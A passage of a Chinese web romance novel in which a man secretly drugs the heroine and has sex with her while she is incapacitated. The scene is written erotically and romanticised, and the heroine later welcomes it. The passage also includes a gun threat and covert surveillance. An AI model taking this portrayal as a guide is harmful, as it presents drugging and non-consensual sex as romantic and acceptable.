他指了指不远处的待客区。 孟昭主眨了眨眼。 就这? 他大费周章地把她叫过来,就是为了让她在这里看他办公? 她心里有些不解,但还是乖巧地走到沙发边坐下。 时间一分一秒地过去。 办公室里很安静,只有时卿舟翻动文件时,纸张发出的沙沙声。 孟昭月坐在那里,起初还能耐心地等待。 可过了一会儿,她开始觉得有些不对劲。 一股莫名的燥热,从小腹处升起,然后慢慢地,向四肢百骸蔓延开来。 她的身体开始发软,意识也变得有些昏沉。 脸颊,不受控制地烫了起来。 好热…… 她下意识地扯了扯自己衬衫的领口,想要透透气。 时卿舟的视线,从文件上移开,落在了她的身上。 他的月月。 他能看到,她职业装下,露出的小片白皙的皮肤。 她的脸颊泛着可爱的红晕,一双干净的杏眼也蒙上了一层水汽。 看起来,像一只熟透了的、待人采撷的果实。 可爱。 时卿舟放下手中的钢笔。 他脸上带着温柔的笑意,朝她走了过去。 “怎么了?” 他在她身边蹲下,视线与她平齐,声音温和得能滴出水来。 “不舒服吗?” 孟昭月听到他的声音,迷迷糊糊地抬起头。 她的视线已经有些模糊了,眼前男人的脸,也出现了重影。 “我……不舒服……” 她的声音软软的,带着哭腔。 “好热……” 她下意识地,朝着他身上靠了过去。 他的身体很凉,贴着很舒服。 “热吗?” 时卿舟顺势将她扶了起来,声音温柔: “我带你去里面的休息室,好不好?” “嗯……”孟昭月乖巧地点了点头。 孟昭月难受地往他怀里钻,像一只寻求庇护的小猫。 她的脸颊贴在他冰凉的衬衫上,渴望着那份凉意。 时卿舟扶着她,走路的步伐停了下来。 忍不住了。 他低下头,在她耳边,用一种诱哄的语气,轻声问。 “月月,很难受吗?” “嗯……”孟昭月在他怀里蹭了蹭。 “要不要我帮你?” “要……”她凭着本能回答。 “那……”时卿舟的声音里带上了一丝笑意。 “求我。” 他想听。 他想听她求他。 孟昭月似乎没听清。 她在时卿舟的怀里不安地蹭来蹭去,声音迷迷糊糊的。 “求……?” “对,求我。” 时卿舟俯下身,嘴唇贴着她的耳朵。 用一种教小孩子说话的、极具耐心的语气,一个字一个字地,教她。 “说,‘求求你,阿卿’。” 孟昭月乖巧地,一字一句地复述。 “求求你……阿卿……” “然后呢?”时卿舟继续诱导。 “帮帮我。” “帮……帮帮我……” 她的声音已经带上了哭腔。 “乖。” 时卿舟终于满意了。 下一秒,他将她按在了墙壁上。 吻,铺天盖地地落了下来。 “再说一遍。” 他在亲吻的间隙,命令道。 “求我。” “求求你……阿卿……” “帮帮我……呜……” 金属扣的声音响起。 …… 期间。 孟昭月只觉得意识在一片混沌的中沉浮。 身体里的热度像是要将她整个人都融化。 整个人被时卿舟欺负得难受。 只能软软地哭着求他慢一些、轻一些。 偏偏愈发让他兴奋,也越来越过分。 不知过了多久后。 当孟昭月搂着时卿舟,抱紧时。 “笃,笃,笃。” 门外传来了敲门的声音。 孟昭月的身体猛地一颤,涣散的思绪被这声音拉回了一丝。 时卿舟的动作也停了下来。 他埋在孟昭月颈窝的脸,缓缓地抬了起来,那双黑色的桃花眼里,情欲还未褪去。 “看来贵客到了。” 他低下头,吻了吻孟昭月的嘴角,声音沙哑。 “乖宝,抬头……看看是谁。” 他的手指在墙壁的某个地方按了一下。 孟昭月面前的墙壁上,瞬间亮起了一块屏幕。 屏幕上,清晰地显示出门外走廊的监控画面。 孟昭月迷迷糊糊地睁开眼,努力地想看清屏幕上的东西。 她看到了一个穿着黑色西装的男人,身形高大,正站在门口。 那张脸…… 她好像在哪里见过。 就在这时,一个声音,通过门禁的对讲系统传了进来。 是姜玦。 “先生,孟总来访。” 第28章 你小叔,就在外面 孟总? 孟廷凛。 孟昭月的大脑里,迟钝地浮现出这个名字。 时卿舟看着怀里的女孩,那副努力辨认的、呆呆的模样。 可爱。 他低下头,轻轻咬了一下她的唇。 “月月。” 他的声音很轻,带着蛊惑的意味。 “他来找你了。” “让他等着,好不好?” 孟昭月只觉得自己的大脑像是被泡在暖流里,热得几乎融化,根本无法思考。 “嗯……” 时卿舟听着这声轻微的呜咽声,流出了餍足的轻叹。 “好乖……” “要是一直这么乖就好了。” 他的唇贴着孟昭月的唇瓣,厮磨着,却没有深入。 像是在品尝一道渴望已久的珍馐。 他身上甜腻的气息,尽数洒在她的脸上 他的声音很轻,如同情人间最亲密的呢喃,在她的耳畔低语。 “月月。” 他的手指,抚上她微微蹙起的眉头 “为什么要为了孟廷凛伤心?” 他的指腹,缓缓滑过她泛红的脸颊,然后逐渐向下。 “为什么要给他买礼物?” 他的手掌覆上她平坦的小腹。 “为什么要为了他,去搜索那些……乱七八糟的攻略技巧?” 他像个找不到答案的孩子,固执地重复着。 “为什么……” “为什么……” 他的动作缓慢而刻意。 他看得一清二楚。 她对在孟家庄园因为那个男人冷落泛红的眼眶。 她笨拙地挑选着领带的款式。 她在搜索框里,打下那些让他心头发烫的字眼。 “为什么啊……月月……” 孟昭月的神智已经完全被药物和情欲的潮水淹没。 “嗯……” 她什么都听不清,也什么都无法思考。 只能凭着本能,发出一声细碎的喘息。 “笃,笃,笃。” 就在这时,办公室的门再次被敲响。 比刚才更加用力,显示出来者的不耐烦。 孟昭月身体里那根紧绷的弦,被这声音刺激得猛地收缩。 时卿舟没忍住从喉咙里发出一声闷哼,动作顿了顿。 他咬了咬她的耳垂。 “月月。” 声音沙哑。 “别这么紧……张,放松……” 他把孟昭月往怀里按了按,然后按下了墙上的对讲按钮。 “孟总。” 他的声音透过对讲机传出去。 瞬间恢复了平日里那种温和有礼的腔调,听不出任何异常。 “实在抱歉。” “我正在招待检查组的检查员小姐,这边有些数据需要核对。” “恐怕,还要辛苦您再稍等片刻。” 说完,他便切断了通话。 他看着屏幕上,孟廷凛那张愈发阴沉的脸,嘴角的笑意加深。 他低下头,重新看向怀里的孟昭月。 “月月。” 他吻了吻她的眼睛。 “你那个小叔,你‘喜欢’的男人,就在外面哦。” 他故意在“喜欢”两个字上,加重了读音。 孟昭月似乎听到了熟悉的名字,涣散的眼神有了一丝微弱的聚焦。 她下意识地抬头重新看向屏幕。 她看不清。 她只能看到一个模糊的、高大的身影。 “真乖。” 时卿舟满意地吻了吻她的脸颊。 他托着她将她向上抬了一些,让她能更清楚地,看到墙上那块监控屏幕。 屏幕上,孟廷凛正站在门外,烦躁地松了松领带。 “月月。” 时卿舟的声音,像恶魔的低语。 “看着他。” “然后,再为我绽放一次,好不好?” …… 门外的等候,让孟廷凛的耐心几乎消耗殆尽。 星辉融资的债权一夜之间被低价全数处置给了寰宇旗下的空壳公司,紧接着审计组就以“匿名举报”为由进驻。 这一连串的动作快得让他几乎没有反应的时间。 他不用想也知道,背后是谁在搞鬼。 时卿舟。 这个时家上不得台面的私生子。 孟廷凛烦躁地松了松领带。 他不得不来。 他甚至怀疑,时卿舟让他在这里干等,也是羞辱的一环。 终于,办公室厚重的门,被从里面拉开了。 孟廷凛压下心头的怒火,整理了一下表情,走了进去。 他看到了衣冠楚楚的时卿舟。 西装外套随意地搭在椅背上,衬衫的袖口挽起,露出一截冷白的手腕。 他看起来很放松,甚至可以说,心情很不错。 孟廷凛的视线在宽阔的办公室里扫了一圈。 没有其他人。 …… 头很痛。 身体像是被拆开重组过一样,每一寸骨头都泛着酸。 孟昭月在一片柔软中,缓缓地睁开了眼睛。 映入眼帘的,是陌生的天花板。 这里的装潢风格简约、冷硬,大片的黑灰色调。 是时卿舟喜欢的风格。 她抱着枕头迷迷糊糊地坐了起来。 “唔……” 这是哪里? 记忆像是断了片的电影,开始在她脑海里混乱地回放。 她想起来了。 她来寰宇深空集团送文件,然后见到了时卿舟。 他让她在沙发上等他。 然后…… 然后她就觉得很热,身体很不舒服。 之后的事情,就一片模糊了。 怎么突然就不舒服了? 她记得她就喝了一杯…… 奶茶? 这个认知像一道闪电,劈开了她混沌的思绪。 苏晓送来的那杯奶茶! 有问题! 孟昭月:“……” 时卿舟那个狗男人! 他给她下药了! 这个认知让孟昭月的血液瞬间冲上了头顶。 她立刻掀开被子,开始检查自己的身体。 衣服……完好无损地穿在身上,还是她上班穿的那套职业装。 她又撩起袖口和裙子,皮肤上,干干净净,没有任何可疑的痕迹。 怎么会…… 难道时卿舟什么都没做? 可是…… 为什么她总感觉身体很不舒服? 那种被填满过的、酸胀的感觉,是那么的熟悉。 孟昭月迷茫地坐在床上,揪了揪怀里的枕头。 不行不行。 她得问个清楚! 她丢了枕头,一把推开休息室厚重的门。 “时卿舟!你……” 她的质问,在看清门外景象的那一刻,戛然而止。 办公室外间。 两个男人正坐在待客区的沙发上,似乎在谈事情。 其中一个,是时卿舟。 第29章 我追求小叔没什么问题吧 孟廷凛显然没有想到,孟昭月会从时卿舟办公室的内屋走出来。 他那张向来没什么表情的脸上,神色在一瞬间沉了下去。 自己养大的侄女。 从竞争对手的私人休息室里出来。 怎么看,都是赤裸裸的羞辱。 时卿舟却像是没有察觉到这凝固的气氛。 他脸上带着温和关切的笑容,看向孟昭月。 “孟小姐,你醒了?” 他煞有介事地解释道。 “刚才你来送文件,说着说着突然就睡过去了,还吓了我一跳。” “看你好像很累的样子,就把你扶到里面去休息了。” 孟昭月:“……” 这家伙,好会装啊。 可是她偏偏没有任何证据。 好气哦! “孟昭月。” 孟廷凛冰冷的声音打断了她的思绪。 “你为什么会在这里?” “我……”孟昭月稳了稳情绪,努力让自己的声音听起来平稳。 她对着孟廷凛乖巧的点了点头。 “我是来给寰宇送风险检查的确认书的,小叔。” 时卿舟闻言,笑着补充了一句。 “孟小姐工作很专业。” 他顿了顿,目光落在她泛红的嘴唇上,声音里带上了一丝玩味的笑意。 “也很配合。” 孟昭月莫名就从这简单的四个字里,听出了某种弦外之音。 配合…… 这家伙,绝对是在暗示什么吧! 刚刚绝对发生了什么! 她的脸颊瞬间涨得通红,不知是羞的还是气的。 她抬起头,狠狠地瞪着时卿舟。 “时先生。” 她刻意用了疏离的称呼。 “既然确认书已经送到,我的工作也完成了。” “还有,麻烦你有时间,去一趟花禾公寓。” “把你留在那里的东西都取走。” 她的声音又甜又软,但每一个字都很清晰。 “毕竟,我们都已经分手了。” 时卿舟脸上的笑容,在听到“分手”两个字时,停顿了一下。 他看着她,那双黑色的眼睛深了些,看不出情绪。 孟昭月撇了撇嘴。 哼,让他气她! 她礼貌地笑了笑:“你们先忙,那我先走了,时先生、小叔。” 说完转身就要离开。 “站住。” 孟廷凛开口叫住了她。 孟昭月停下脚步,没有回头。 “去我车上,等我。” “哦。” 孟昭月闷着声音回了一声,然后离开了。 …… 孟昭月离开后,办公室的空气仿佛凝固。 孟廷凛放下手中的雪茄,看向时卿舟。 “时先生的口味,换得倒是挺快。” 他的声音很平淡,听不出情绪。 “前几天的晚宴,还带着女友恩爱出席,今天就分了?” 时卿舟整理着自己的袖口,神色淡淡地,闻言只是笑了笑。 “让孟总见笑了。” “不过也好。”孟廷凛靠回沙发。 “我家这个侄女,性子单纯,不适合时先生这种复杂的人。” “省得到时候被人骗了,还要哭着回家。” 他话里有话。 时卿舟脸上的笑容没有变化。 “单纯?” 他重复了一遍这个词,然后抬起眼,看向孟廷凛。 “孟总似乎很了解她。” “毕竟是我从小看着长大的。” “是吗?”时卿舟的笑容依旧温文有礼。 “那孟总可要看好了。” “毕竟,有些人,就算暂时分开了,也迟早会回到该回的地方。” 他的语气很轻。 “倒是孟总你作为长辈,对自己的侄女,可别生出什么不该有的心思。” 孟廷凛的目光顿时冷了下来。 …… 白色的劳斯莱斯幻影,低调地停在路边的树荫下。 孟昭月坐在后排柔软的座椅里,安静地等着。 车门被拉开,孟廷凛带着一身寒气坐了进来。 他没有让司机开车。 车内的空间很安静。 孟昭月能闻到他身上淡淡的雪茄味。 “小叔。”她乖巧地开口,打破了沉默。 “孟昭月。” 孟廷凛转过头看她,那双凤眼深不见底。 “我之前,是不是和你说过。” 他的声音很冷。 “让你离时卿舟远一点。” 孟昭月没有说话,只是低头搅着自己的手指。 一想到自己的人,居然被时卿舟那种货色指染。 孟廷凛就按不下的恼怒和不爽。 一下子说话也重了许多: “女孩子家的,就不能检点一点?” 孟昭月搅着手指的动作,停住了。 她缓缓地,抬起头,看向他。 那双干净的杏眼,就那么静静地凝视着他。 孟廷凛微微蹙眉,有些后悔自己刚刚说出的话。 然后,他就看到眼前的女孩,忽然弯起眼睛,露出了一个甜甜的笑容。 “小叔。” 她的声音软软糯糯。 “你是不是和姐姐上床了呀?” 孟廷凛的表情,瞬间僵住了。 孟昭月看着他僵住的样子,脸上的笑容愈发甜美。 她学着他刚才的语气,慢悠悠地,一字一句地说。 “长辈家的,也要检点一点哦。” 车内的空气,仿佛在这一刻被抽空了。 孟廷凛:“……” 他觉得他会被他这个侄女气得折寿。 过了很久,孟廷凛才找回自己的声音,表情有些僵硬。 “你胡说什么?” 他皱起眉,解释道。 “那天晚上,是时卿舟给你姐姐下了药。” “当时没有解药,情况危急。” 孟廷凛没有否认上床的事。 “哦——”孟昭月拖长了尾音,一副恍然大悟的样子。 “原来是这样呀。” 她点了点头,脸上是全然的理解和体谅。 “没事的呀,小叔。” 她的声音软软的。 “我查过了,你和姐姐,早就出了五服了。” “而且,姐姐也不是孟家真正的血脉。” “所以,不算什么的。” 她看着孟廷凛,眼神干净又纯粹。 “我能理解的。” 理解他? 她说理解他? 孟廷凛看着她这副样子,表情变得有些复杂。 【叮咚!】 【攻略目标孟廷凛,好感度+20!】 【当前好感度25(欣赏)!】 【哇!宿主不愧是开窍了!】 系统的播报声在孟昭光脑海里响起,带着喜悦。 孟昭月:“……?” 这都能加好感? 孟廷凛看着自己的侄女,叹了口气,似乎想说些什么。 就在这时,孟昭月又开口了。 “既然……” 第30章 系统你为什么撒谎 【!!!!!!!!】 【卧槽卧槽卧槽!!!!】 【这种虎狼之词,宿主你是怎么用这么纯情的表情说出口的啊啊啊啊!】 孟廷凛就那么看着她,脸上的表情空白了一瞬。 他甚至怀疑自己是不是因为最近压力太大,出现了幻听。 追求……他? 【叮咚!攻略目标孟廷凛,好感度+10!】 【叮咚!攻略目标孟廷凛,好感度-20!】 【叮咚!攻略目标孟廷凛,好感度+15!】 【叮咚!攻略目标孟廷凛,好感度-10!】 …… 系统的播报声,在孟昭月脑海里疯狂地刷屏。 【男主好感度要爆表了!】 【不对!不对!要清零了!】 【诶诶诶?又爆表了!!】 【啊啊啊!男主的好感度快被你玩坏了!】 最终,在经历了一阵疯狂的上下跳动后,孟廷凛好感度,停在了一个不上不下的数字上。 【当前好感度:35(危险的兴趣)】 孟廷凛看着眼前这张近在咫尺的小脸。 她看起来那么乖,那么软,那么无害。 他一直把她当成乖巧、只是稍微有些叛逆孩子。 可现在,这个孩子,正用最天真的表情,向他提出了最禁忌的询问。 “孟昭月,你知道你在说什么吗?”孟廷凛的声音沉得可怕。 “知道呀。”孟昭月点了点头,笑容依旧甜美。 她看起来还是一如既往的乖巧。 孟廷凛的身子微微前倾:“看来,是我疏忽了对你的教育。” “不是哦。”孟昭月下意识的往后缩了缩,和孟廷凛拉开距离,“小叔,我没有在征求你的意见。” 她的声音还是那样软软糯糯的,背着的手放到了车门内嵌面板上。 “我只是怕吓到你,提前跟你说一声。” 然后她按了下去,车门开了。 她几乎是以迅雷不及掩耳之势退出了车子。 “小叔,我还有事要回局里,先走啦。” 她站在车外,弯下腰,冲着车里的人乖巧地挥了挥手。 然后,不给孟廷凛任何反应的机会,转身就走。 撩完就跑,真刺激。 随着她的离开,车内那股属于她的、淡淡的香甜气息,似乎也消散了一些。 孟廷凛坐在车里没有追出去,看着她的背影,沉默了很久。 …… 【叮咚!】 【攻略目标孟廷凛,好感度+10!】 【当前好感度:45(危险的兴趣plus)!】 【芜湖!攻略大业,指日可待!】 【没想到宿主你蛮有手段的嘛,我承认,之前是我叫的大声了。】 系统的声音充满了兴奋。 此时阳光照得正好,孟昭月走在路上,脸上也带着弯弯的笑意。 是呀。 指日可待了。 把阿卿“关起来”的日子。 她心情很好地想着。 她的脚步轻快,突然语气愉悦地在脑海出了声音: “系统。” “明明最后帮孟婉凝解毒的人,是孟廷凛。” “你为什么要骗我,说是时卿舟呢?” 系统那原本欢快活泼的电子音,戛然而止。 【……】 孟昭月也没有催它,只是耐性地等着系统的回答。 过了很久,系统才重新出声,奶声奶气的声音里充满了心虚。 【那个……】 【剧情……剧情就是这么发展的嘛。】 【我,我只是一个新手系统,很多核心数据是读取不到的。】 【可能是……可能是数据库在传输过程中出现了小小的偏差?】 它开始装傻。 “是吗?”孟昭月在心里,软软地回了一声。 【对、对呀!】 系统闻言连忙继续道。 【所以宿主你不要想那么多了!】 【安心攻略男主就好啦!】 【你看,我们现在开局这么顺利,男主好感度已经45了耶!】 孟昭月没说什么,只是她乖巧地应了一声:“知道啦。” 系统似乎松了一口气。 孟昭月一边走,一边在心里斯条慢理地想着。 她现在可以确定几件事。 第一,时卿舟给孟婉凝下药了。 第二,帮孟婉凝解毒的是孟凛廷,而不是时卿舟。 第三,系统在撒谎。 可是…… 为什么呢? 为什么系统要撒谎呢? 还有时卿舟为什么要给孟婉凝下药? 而且还不告诉她。 还有系统放的那个画面……同一个世界的人……吗? 好多好奇怪的事情。 她真的……好好奇呀。 【还能是什么原因?】 系统像是察觉到了她的疑惑,立刻又开始积极地进行“剧情科普”。 【肯定是反派看上女主了呀!】 【所以就用了点不光彩的手段,想趁人之危。】 【结果被我们英勇的男主发现,及时阻止了呗!】 “哦——”孟昭主拖长了尾音。 “就像刚刚那样吗?”她软软地问。 【?】 【刚才什么哪样?】 系统的声音里充满了困惑。 “就是给我下药,然后做一些我不知道的坏事情呀。” 孟昭月看着路边橱窗里,自己那张倒映出来的、甜美的脸,她笑嘻嘻地在心里回答。 【到底什么事情啊?】 “就是……很棒的事情呀。” “可惜……” 她脸上的笑容垮了下来,露出郁闷的表情。 “他都对我做两次了,但是两次我都是没意识的。” “完全没有爽到!” 【……啊?】 系统的数据流,似乎再次出现了无法处理的乱码。 “你说他这个人,怎么就光顾着自己爽呀!” 孟昭月愤愤不平地在心里跺了跺脚。 “做完了还一脸什么都没发生的样子!” “恼!” 孟昭月越想越气。 等到有机会她一定要睡回去! 【……???】 【你到底再说什么呀宿主??】 “唔,没什么。”孟昭月笑嘻嘻的在心里回答,“反正说了你也不懂。” 她现在可以确定系统确确实实在有些时候看不到。 “至于现在……” 她停下脚步拿出手机。 既然时卿舟那个混蛋,不肯告诉她那天晚上他到底去做什么了。 那她…… 去问孟婉凝不就好了嘛。 想着,她点开了那个备注着“孟婉凝”的联系方式。 【宿主!】 【你要做什么?!】 系统的声音,在她脑海里惊恐地炸响。 第31章 时卿舟是我的,你不准碰 几天后。 观棠会所,三楼,静心堂。 这是不对外开放的私人茶室,只接待持有黑金卡的顶级会员。 房间里焚着顶级的伽罗沉香,安神静心。 孟昭月懒洋洋地杵着下巴,划着手机,屏幕上是一个商品页面。 是那只陶瓷小鸟。 孟昭月往下翻着,目光落在商品介绍页面时顿了顿。 不一样。 和苏晓给她展示的不一样。 这时,她的手机屏幕震动了一下。 是时卿舟发来的短信。 「今天有时间的,我今天来花禾公寓拿我的东西?」 孟昭月看着这条消息,弯了弯眼睛。 刚刚她问了时卿舟什么时候来拿他的东西。 没想到回的这么快。 孟昭月的手指在屏幕上,慢悠悠地打下一行字。 「可是我现在在观棠喝下午茶耶。」 「阿卿,你要过来这接我吗?」 消息发送出去。 然后聊天界面就安静了。 孟昭月用手指一下一下地戳着手机屏幕。 回得有点慢……是在做什么呢? 过了将近一分钟,才终于跳出他的回复。 「好。」 一个字。 孟昭月看着那个字,眨了眨眼,似乎是想起了什么。 然后抬头四处看了看 随后果然在窗外看到一只白蝴蝶,停在不远的树上,薄翼轻振。 真漂亮。 她伸出手,将厚重的窗帘,“唰”的一声,拉上了。 房间里的光线,瞬间暗了下来。 也隔绝了窗外那道窥探的视线。 没过多久,茶室的门被侍者从外面轻轻推开。 孟婉凝走了进来。 她穿着一身Alexander McQueen的白色真丝连衣裙,手上戴着白色的蕾丝手套,头发一丝不苟地盘起,整个人看起来端庄又得体。 “昭月,让你久等了。” 她在孟昭月对面的位置坐下,声音温婉。 孟婉微的视线在茶室里扫了一圈,然后落在孟昭月身上,脸上带着无可挑剔的微笑。 “平日里我若想喝茶,都是让茶艺师直接去庄园的。” “像这样特地跑到外面的茶室来,还真是种新鲜有趣的体验。” “姐姐说的对,在家里是方便些。” 孟昭月眨了眨眼,乖巧的附和。 “就是我没姐姐那么大的面子,请不动观棠的茶艺师。” “我只是觉得,这里的环境很好,很适合和姐姐说说话。” 她一边说着,一边漫不经心地将叉子伸向点心盘里,一块小巧的、做成兔子形状的甜点。 然后,将那只“兔子”的头,轻轻地,叉了下来,送进口中。 “特别是,不会有人打扰。” 孟婉凝心里评价,品味太低。 终究是,上不得台面。 她优雅地摘下手套,放在一边,端起刚沏好的大红袍,轻轻品了一口。 “说吧。” “约我出来,是有什么事?” 孟昭月放下了叉子。 “有两件事,想问说一下姐姐。” 她偏了偏头,笑容愈发天真无邪。 “第一件就是……” “那天晚宴,时卿舟为什么要给你下药呀?” 她问得直接,语气像是在问“今天天气怎么样”一样轻松。 孟婉凝端着茶杯的手,几不可察地僵硬了一下。 但她很快就恢复了那副得体的模样,将茶杯放回桌上,发出一声轻响。 “我不知道你在说什么。” 她看着孟昭月,眼神温婉。 “我想,这其中或许有什么误会吧。” “我也很奇怪,毕竟时少爷之前……确实对我多有帮助呢。” 她的话说得模棱两可,却在不动声色地暗示,是时卿舟主动对她有所企图。 “误会?” 孟昭月点了点头,像是接受了这个说法。 那双干净的杏眼却一瞬不瞬地看着孟婉凝。 声音软软糯糯的,带着天真的好奇。 “姐姐是想说……” “是阿卿他看上你了,所以才给你下的药吗?” 孟婉凝的脸色僵住了。 “你……” 孟昭月看着她的反应,甜甜地笑了起来。 “姐姐,你好像一直都是这样哦。” 她像是完全没有察觉到她的异常,继续自顾自地说下去。 “你给我挑选的礼服,故意选你喜欢的牌子,也是适合你穿的尺码,是想告诉我,就算我回来了,孟家依旧是你说了算,对不对?” “你总是在小叔面前,不动声色地抢走他对我的注意力,比如上次你送他雪茄,是想告诉我,他更宠爱你,对不对?” “你刚刚说,平日都是让茶艺师去庄园,也是想告诉我,我不像你接受过的‘上层’教育,没见过世面,对不对?” “包括你总说时卿舟帮过你,不都是在暗示,时卿舟也看上你了,想用这个来膈应我吗?” 孟昭月每说一句,孟婉凝的脸色就白一分。 “你做的这一切,是想告诉我。” “就算我是真千金又怎么样?” “所有人的宠爱,还是你的。” “我抢不走。” “姐姐,你好像理所当然地觉得,这个世界,就该围着你一个人转呢。” 孟昭月看着她,脸上的笑容依旧。 孟婉凝看着眼前这个笑得一脸甜美的女孩,寒意从心头冒起。 她感觉自己像是被人剥光了衣服,赤裸裸地扔在雪地里。 所有的心思,所有的算计。 都被她用这样一种软软糯糯的语调。 一件一件地,剥开了,说了出来。 “孟昭月!你到底想怎么样?” 她那端庄的外壳绷不住了,声音都有些尖锐。 孟昭月眨了眨眼,乖巧地笑了笑。 “不想怎么样呀。” 她起身,慢悠悠地走到孟婉凝面前。 “姐姐,你为什么总是对我敌意这么大呢?” “事实上,我根本不想管你到底想做什么呢。“ “你喜欢孟廷凛,还是喜欢顾清珩,或者喜欢全世界所有的男人都围着你转。” “都跟我没关系呀。” 她顿了顿,然后俯下身。 凑到孟婉凝耳边。 “但是,姐姐。” “有一点,你要知道。” 用一种极轻的、几乎只有她们两个人能听到的声音,说。 “时卿舟,是我的。” “你,不准碰。” 孟婉凝正想说什么,就看到孟昭月直起身,从手包里,拿出了一样东西。 那是一把枪。 孟昭月悠然自得地,将枪口对准了孟婉凝的眉心。 冰冷的金属,贴上了孟婉凝光洁的额头。 孟婉凝的身体,瞬间僵住,连呼吸都停滞了。 “不然。” 孟昭月看着她惊恐的眼睛,脸上的笑容愈发甜美。 “杀了你哦。” “这是第二件事。” 第32章 孟婉凝:这两个疯子! 孟婉凝一直知道孟昭月是个乖乖女。 而现在,这个乖乖女正拿枪抵在她的头上。 “你……” 她的声音因为恐惧而发颤,脸色煞白。 “你哪里来的枪?” “生日礼物呀。” 孟昭月回答得理所当然,声音还是那样软软糯糯。 “阿卿送我的。” 她顿了顿,又补充了一句,像是在分享一个无足轻重的小秘密。 “我有持枪证的哦。” 孟婉凝的脸色愈发苍白。 “杀人是犯法的!”她色厉内荏地警告。 【警告!警告!检测到宿主危险行为!滋啦——】 一阵尖锐的爆鸣声,在孟昭月脑海里炸开。 系统那奶声奶气的声音,此刻充满了前所未有的惊恐。 【孟昭月!你在干什么?!】 孟昭月没有理会它,只是看着眼前吓得快要哭出来的孟婉凝。 有什么好害怕的,她都没拉保险栓。 她在心里,用一种很轻很软的语气,好奇地问。 “系统呀,你说……” “如果我杀了女主角,会怎么样呢?” 【你疯了!!!】 系统尖叫出声,电子音因为过载而彻底失真。 【你一个女配!怎么能杀女主角?!】 【你要翻天吗?!】 【我命令你快住手!】 【这个世界是以女主角为锚点存在的!】 【如果她死了!整个世界都会跟着一起崩溃!】 【到时候我们所有人都得一起死!】 原来是这样啊。 孟昭月安静地听着,脸上的笑容没有任何变化。 她抬起头,看向孟婉凝。 “是呀。” 孟昭月点了点头,脸上是全然的赞同。 “我不想犯法的。” 她收起了枪,随手放回自己的手包里,动作随意得像是在放一支口红。 “所以,还请姐姐以后……” 她抬起头,冲着孟婉凝露出了一个甜美的、人畜无害的笑容。 “不要碰我的东西哦。” …… 就在这时,茶室的门,被从外面推开了。 是时卿舟。 他一眼就看到了房间里的两个人。 他的脚步停顿了一下。 对于孟婉凝的存在,时卿舟有些惊讶,但是他的目光没在孟婉凝身上多做停留。 只是确认了一下孟婉凝没对孟昭月做什么。 毕竟这女人有前科。 然后,他的目光就直接锁到了孟昭月的身上,依旧是那贯常温柔的表情。 “月月,我来接你。” 孟昭月注意到时卿舟脚步的停顿。 她知道,他没想到孟婉凝在这里。 这代表着,他不是随时随地都在看着孟婉凝。 她想起了窗外的那只蝴蝶。 可是,他却在随时随地看着她。 心里像是被蜜糖填满了,甜得冒泡。 真好。 孟昭月眨了眨眼:“可以稍微等我一下吗?” 时卿舟轻声温柔地“嗯”了一声,然后走到了孟昭月的身后。 孟婉凝看着眼前的两个人。 孟昭月脸上带着甜美的笑容看着她。 而时卿舟,则用那双深不见底的黑色眼睛,温柔地看着孟昭月。 这画面有种说不出的诡异感。 好像…… 一只恶龙,正安静地盘守在它的珍宝身边。 而那个珍宝,那位看似美丽无害,实则是裹了糖的毒药。 “姐姐。” 孟昭月乖巧地开了口,打破了沉默。 “既然阿卿来了,那刚好,有些话我们就当面说清楚吧。” 她的声音软软糯糯。 孟婉凝的手指,在无人看见的地方,紧紧地攥住了裙子。 “第一件呀。” 孟昭月歪了歪头,像个好奇宝宝。 “姐姐之前说,你的剧本版权是阿卿帮你解决的,对不对?” 她转过头,仰起脸,看向身后的时卿舟。 “阿卿,是这样吗?” 时卿舟低下头,看着她那双干净的杏眼,脸上的笑容温柔得快要溢出来。 “不是。” 他的回答干脆利落。 “我没有帮过,我甚至都不知道这件事。” 孟婉凝的脸色白了一分。 “哦——”孟昭月拖长了尾音。 “那第二件。” “姐姐的新剧本,拿到了时氏的投资,对不对?” 她又转头问时卿舟。 “阿卿,是你投的吗?” “不是。”时卿舟摇了摇头,耐心地解释。 “这种数额的投资,是下面的子公司自行评估后,通过了子公司的董事会,直接投的。” “太小的项目,不会经过总部。” 他顿了顿,补充道。 “也就是,不会经过我的手。” 孟婉凝的嘴唇开始发白。 “那……姐姐总说你经常帮助她,这也是假的咯?” 孟昭月继续问。 “我从来没有帮助过她。”时卿舟的回答依旧温柔。 他看着孟昭月的眼睛,一字一句地说。 “从头到尾,都没有。” 最后,孟昭月问出了最后一个问题。 她的声音很轻。 “阿卿。” “你是不是……对姐姐有好感呀?” 孟婉凝的身体,几不可察地颤抖了一下。 时卿舟闻言,轻笑出声。 他伸出手,轻轻地,将孟昭月颊边的一缕碎发,拨到耳后。 动作亲昵又自然。 “月月。” 他的声音里,是毫不掩饰的宠溺。 “我喜欢的,从始至终。” “都只有你一个。” 茶室里,陷入了一片死寂。 孟婉凝坐在那里,感觉自己像是在众目睽睽下,被刀,一刀一刀的划开。 刚刚的,还有现在的。 她精心编织的所有谎言,她赖以为生的优越感。 就在这一问一答之间,被撕得粉碎。 她的脸上一阵青一阵白。 只想赶快逃离这里。 孟昭月看着她这副样子,脸上的笑容并没有变。 一如既往的礼貌乖巧。 “姐姐。” “看来,误会都解开了。” 孟婉凝张了张嘴,想要说些什么来挽回颜面,却发现自己一个字都说不出来。 就在她感觉自己快要窒息,准备赶快离开这个鬼地方的时候。 对面的孟昭月,忽然比她更早站了起来。 “呀,我去上个厕所哦。” 她的声音还是那样软软糯糯,带着甜意。 “姐姐,阿卿,你们等我一下,我马上就回来。” 说完,她将自己的手机屏幕朝下,轻轻地扣在了桌面上。 然后,她礼貌地点了点头,转身离开了茶室。 门被轻轻地带上。 房间里,只剩下了孟婉凝和时卿舟两个人。 孟婉凝坐在那里,走也不是,留也不是。 她深吸一口气,努力维持着自己最后的体面,扯出一个僵硬的笑容。 “时先生,好久不见。” 时卿舟抬眼轻飘飘的瞥了她一眼,然后目光落到了孟昭月的手机上。 他伸出手,修长的手指,轻轻地碰了碰那部手机,帮孟昭月把手机摆正。 孟婉凝的笑容,彻底挂不住了,那一眼看得她脊背发寒。 第33章 我们复合好不好 回去的路上,时卿舟是自己开的车。 孟昭月从手包里拿出了耳机,戴上。 时卿舟正专心看着前方的路况,但他的余光一直落在她身上。 看到她的动作,他开口问,声音温和。 “要听歌吗?” “嗯。”孟昭月软软地应了一声。 “可以用车载音响。”他说。 “不用啦。”孟昭月摇了摇头,声音甜甜的。 “我喜欢听自己的。” 她解锁手机,她按下播放键。 耳机里,传来孟婉凝的声音。 “时先生,好久不见。” 